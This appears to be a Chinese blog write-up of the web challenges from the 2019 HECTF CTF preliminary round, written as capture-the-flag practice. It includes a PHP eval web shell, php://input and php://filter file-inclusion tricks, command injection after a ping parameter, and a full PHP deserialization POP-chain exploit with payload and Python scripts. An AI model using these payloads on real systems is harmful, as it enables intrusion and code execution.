2019_HECTF初赛WP -web部分
<!--more-->
你看这个php它又大又圆
分析
点开环境发现,这里提示我们不是admin,然后F12查看源码,发现把php源码写在html注释里面了:
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
if(md5($pass)===md5($pass1)){
echo "hello admin!<br>";
include($file);
}
}else{
echo "you are not admin ! ";
}
?>
- 第一个判断首先判断了
user
参数是否传入,然后得到用file_get_contents
获得user
参数的内容,且必须强相等于admin
- 第二个判断,是判断md5(传进来的
pass
参数的值)和一个未定义(未引入)的变量需要强相等,在php里未定义的变量,要使用的话其实值为null
,因此这里实际上是md5($pass)===null
- 最后将传入的
file
参数的值包含进来
解法
- 首先第一个判断user的值要等于
admin
,使用php://input+[Post admin]
,input
流可以直接在让文件操作函数最后等于一个字符串(Post传参内容)(可能说法不太准确2333) - 第二个判断,实际上在php里面,大多数函数无法直接处理数组,如果这里
$pass
是一个数组的话,那么md5()
会返回一个null,因此这里传入数组即可 - 最后一个文件包含,基本凡是文件操作的地方都可以使用php伪协议,在已经变成admin,登陆的情况下,会提示flag在
f1a9.php
里面,这里同样使用伪协议进行读取php://filter/read
流
最后传入构造好的参数,得到了返回f1a9.php
的base64B编码内容,进行解码即可
flag为: flag{He6TuCTF@:F1a91stH1}
金闪闪的小饼干
题目提示很明显就是cookie嘛,点进去查看cookie,得到
%3D
在url里面就是=
号,因此很明显,这显然是base64编码的内容,进行解码得到flag
Code execution
点进去结合F12,得到两个hint:
先看upload.php
,经过测试发现可以直接上传php文件,我们上传一个一句话木马试试
1ju.php
<?php
@eval($_POST['key']);
?>
上传直接给了一个路径:
用蚁剑发现可以连接,到处翻翻在根目录下得到flag:
Romance签到
这道题非常有意思(这个表白看的我都感动了),由于是签到题,先用dirsearch
扫了一下目录,得到一个提示source.php
(html源码中有个a标签指向这个url)
切换到source.php
下载下来,查看文件内容得到了,新提示./hint.php
,再切换到hint.php
下载下来得到一串神奇的字符
♭‖§∮♯♭‖§∮♬♭‖§§♫♭‖§∮§♭‖§♩§♭‖♯♬¶♭
‖§§♫♭‖§§¶♭‖♯¶§♭‖♯¶♫♭‖§∮♭♭‖§
§♫♭‖§§♬♭‖♯♬♪♭‖♯¶♪♭‖♯¶‖
♭‖♯¶♯♭‖♯♬♬♭‖♯♬♪♭‖♯¶♯♭
‖♯¶♯♭‖♯¶∮♭‖§∮♭♭
‖♯♬♪♭‖§§♬♭‖♯¶§♭‖♯¶‖♭‖
§§♬♭‖♯♬♪♭‖§§♫♭‖♯¶♪♭‖♯¶♫♭‖♯¶§♭‖§∮♭♭‖♯♬¶♭‖♯♬♬♭‖♯¶‖♭‖♯¶♫♭‖♯¶∮♭‖♯¶∮♭‖§§♫♭‖§♩♪‖‖‖♭§♪==
扔给做Misc
的队友发现是音符加密,直接在线解码得到结果:
解出来,看起来是盲文,然后在线解密得到:
我只会ping吗?
这道题点进去看见一个提示ip,并且说能够简单命令执行,尝试了一下,确实可以命令执行
猜测源码为system("ping".$_GET['id']);
,要能够读取flag,可以使用linux下的多命令执行一个是&&
,还有一个是;
,这里我是用的是;
,先用ls
看看当前目录下有哪些内容吧,然后没想到直接就出flag了
file在哪里?
点进去,发现报错了,报错的那行提醒了我们,我们传入的参数file
是会用于include()
进行包含的,凡是与文件有关的操作,都可以使用伪协议,再加上查看源码得到一个hint
这里尝试使用伪协议读取hint.php
的内容,得到:
解码得到一段诡异的英文文章:
然后根据提示的spam,加上直接搜索解码原文,找到同类型的题,得到一个叫做 卡尔达诺栅格码
的东西,找到在线加密,得到flag
缘分
这道题写wp的时候非预期解被修了,没办法截复现的图了,中途有段时间直接进入hhhh.php
的时候出现了报错信息
这里缺少一个常量admin,然后回到index.php
,两者均传入admin
得到一个新的报错
最后输入一起admin123
得到了flag:
让我们一起来变魔术吧
方法1
点进去一看,发现把源码写进了html注释里面了
<?php
class Read {
public $var;
public $token;
public $token_flag;
public function __construct() {
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function __invoke(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
echo "flag{**********}";
}
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
echo $this->source."<br>";
}
public function __toString()
{
$this->str['str']->source;
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
$func = $this->params;
return $func();
}
}
if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
?>
非常明显的反序列化(这里我构造好了参数之后发现不对,但本地跑的出来,最后发现把chal看成cha1了)
给了三个类,从触发的条件来看首先POP利用链一定是先找__destruct
和__wakeup
魔术方法,这两个方法可以直接利用,因此锁定POP第一个类是Show
,然后最后一个类一定是读flag的Read
类,中间这个就定作Test
类,这里不能直接跳过__wakeup
类的进行构造,否则无法到达Read
类读取flag,这里有两个考点,一是POP链的构造,还有一个是$this->token === $this->token_flag
怎么绕过的问题
- 简述利用链条,用
unserialize
函数触发__wakeup
方法,然后透过构造Show
类的属性source
在进行preg_match()
时候触发__toString
方法,然后通过__toString
触发__get
方法,再用__get
方法的动态调用函数,调用__invoke
方法,从而读到flag - 我们可以再构造
Read
类时,将$this->token_flag
设置为$this->token
的引用,即$this->token_flag=&$this->token
,这里形如C语言的地址,因此在调用$this_tokenflag
就会取出这个地址对应的内容,那么显然`$this->token===$this->token
,从而绕过了了md5
的校验,当然这里也可以使用暴力破解的方法,最终的payload生成为:
<?php
class Read {
public $var;
public $token;
public $token_flag;
public function __construct() {
$this->token = md5(rand(1,10000));
$this->token_flag = &$this->token;
#赋值成$this->token的引用绕过__invoke的if校验
}
public function __invoke(){
$this->token_flag = &$this->token;
if($this->token === $this->token_flag)
{
echo "flag{**********}";
}
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
$this->str['str']=new Test();
echo $this->source."<br>";
}
public function __toString()
{
$this->str['str']->source;
#调用一个类的不存在属性时调用__get方法,这里的source是类,
#显然不存在这个属性,因此触发Test类的__get
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
#把类当字符串用时调用__toString
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $params;
public function __construct()
{
$this->params = new Read();
}
public function __get($key)
{
$func = $this->params;
return $func();
#将类当函数使用时,调用__invoke方法,这里需要传入Read类
#便会调用Read类的__invoke
}
}
if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
$payload=new Show();
$payload->source=new Show();#为了不递归调用Show()的构造方法在外面赋值
$string=serialize($payload);
echo $string."\n";
/*
O:4:%22Show%22:2:{s:6:%22source%22;O:4:%22Show%22:2:
{s:6:%22source%22;N;s:3:%22str%22;a:1:{s:3:%22str%22;O:4:%22Test%22:1:
{s:6:%22params%22;O:4:%22Read%22:3:
{s:3:%22var%22;N;s:5:%22token%22;s:32:%22e97986091ee430b881ba8fc9755a64a8%22;s:
10:%22token_flag%22;R:8;}}}}s:3:%22str%22;a:1:{s:3:%22str%22;O:4:%22Test%22:1:
{s:6:%22params%22;O:4:%22Read%22:3:
{s:3:%22var%22;N;s:5:%22token%22;s:32:%22d38ee19a4815c4aeba48227913092a6e%22;s:
10:%22token_flag%22;R:13;}}}}
*/
#$ok=unserialize($string);这句使用来动态调试的,发现可以输出flag{****}说明构造成功
最后我是使用脚本传的(因为之前发现浏览器GET传不上去,最后发现是看错参数名了)
脚本为:
import requests
payload = "O:4:%22Show%22:2:{s:6:%22source%22;O:4:%22Show%22:2:{s:6:%22source%22;N;s:3:%22str%22;a:1:{s:3:%22str%22;O:4:%22Test%22:1:{s:6:%22params%22;O:4:%22Read%22:3:{s:3:%22var%22;N;s:5:%22token%22;s:32:%22e97986091ee430b881ba8fc9755a64a8%22;s:10:%22token_flag%22;R:8;}}}}s:3:%22str%22;a:1:{s:3:%22str%22;O:4:%22Test%22:1:{s:6:%22params%22;O:4:%22Read%22:3:{s:3:%22var%22;N;s:5:%22token%22;s:32:%22d38ee19a4815c4aeba48227913092a6e%22;s:10:%22token_flag%22;R:13;}}}}"
url = "https://183.129.189.60:10006/?chal="
re=requests.get(url+payload)
html=re.text
print(html)
最后运行脚本得到flag:
方法2
暴力破解,通过疯狂传包得到,进行md5碰撞,然后总有一次能够碰撞成功,生成payload代码:
<?php
class Read
{
public $var;
public $token;
public $token_flag;
public function __construct()
{
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function __invoke()
{
$this->token_flag = md5(rand(1,10000));
if ($this->token === $this->token_flag) {
echo "flag{**********}";
}
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
$this->str['str'] = new Test();
echo $this->source . "<br>";
}
public function __toString()
{
$this->str['str']->source;
}
public function __wakeup()
{
if (preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $params;
public function __construct()
{
$this->params = new Read();
}
public function __get($key)
{
$func = $this->params;
return $func();
}
}
if (isset($_GET['chal'])) {
$chal = unserialize($_GET['chal']);
}
$payload = new Show();
$payload->source = new Show();
$string = serialize($payload);
echo $string . "\n";
生成一组序列化字符,然后用脚本自动传线程别开太大不然环境会崩,静静等待就可以得到flag了,太麻烦了,这个方法没试
mport requests
import threading
import urllib
def payload():
exp='O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:6:"params";O:4:"Read":3:{s:3:"var";N;s:5:"token";s:32:"0b96d81f0494fde5428c7aea243c9157";s:10:"token_flag";s:32:"0b96d81f0494fde5428c7aea243c9157";}}}}s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:6:"params";O:4:"Read":3:{s:3:"var";N;s:5:"token";s:32:"03492e99e42e7ea8480cdfb4899604f5";s:10:"token_flag";s:32:"03492e99e42e7ea8480cdfb4899604f5";}}}}'
url='http://183.129.189.60:10006/?chal='+exp
re=requests.get(url)
html=re.text
if "flag" in html:
print(html)
t=threading.Timer(1.0,payload)
t.start()
payload()
Misc
抽卡呀~ 是欧是非见分晓
这道题本来应该是队友做,但他怀疑是web题,直接拿给了我.......
首先点开源码,翻阅JS脚本得到提示
然后我们可以翻阅上面引入的几个,看着像是核心代码的JS文件,挨个翻阅在drawing.js
里面发现了getflag,当然根据提示你直接在控制台输入getflag()
也是可以的,得到aaencode
的编码内容
直接复制下来,控制台运行即可:
后记
这场比赛真的前所未有的友好,终于拿到大学生涯的第一个奖了,不过有些题还是考到了知识盲区,看来node.js的学习也要安排上议程了(差点webAK了,可惜node.js没学习),太悲伤了.....